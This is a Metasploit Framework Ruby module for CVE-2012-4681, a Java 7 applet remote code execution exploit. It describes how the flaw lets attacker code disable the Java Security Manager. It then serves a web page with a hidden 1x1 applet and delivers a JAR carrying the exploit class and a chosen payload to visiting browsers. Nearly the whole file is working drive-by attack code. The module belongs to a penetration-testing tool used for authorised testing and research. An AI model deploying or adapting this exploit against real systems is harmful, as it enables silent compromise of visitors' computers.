##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Java 7 Applet Remote Code Execution',
			'Description'   => %q{
				The exploit takes advantage of two issues in JDK 7: The ClassFinder and
				MethodFinder.findMethod().  Both were newly introduced in JDK 7.  ClassFinder is a
				replacement for classForName back in JDK 6. It allows untrusted code to obtain a
				reference and have access to a restricted package in JDK 7, which can be used to
				abuse sun.awt.SunToolkit (a restricted package).  With sun.awt.SunToolkit, we can
				actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
				(but getField() must be public, and that's not always the case in JDK 6) in order
				to access Statement.acc's private field, modify AccessControlContext, and then
				disable Security Manager. Once Security Manager is disabled, we can execute
				arbitrary Java code.

				Our exploit has been tested successfully against multiple platforms, including:
				IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Adam Gowdiak',  # Vulnerability discovery according to Oracle's advisory
					'James Forshaw', # Vulnerability discovery according to Oracle's advisory
					'jduck',         # metasploit module
					'sinn3r',        # metasploit module
					'juan vazquez'   # metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2012-4681' ],
					[ 'OSVDB', '84867' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
					[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
					[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
					[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']
				],
			'Platform'      => [ 'java', 'win', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 26 2012'
			))
	end


	def on_request_uri( cli, request )

		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status("#{self.name} handling request")

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "Exploit.class" ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-4681", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status("Sending Applet.jar")
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		html  = "<html><head></head>"
		html += "<body>"
		html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end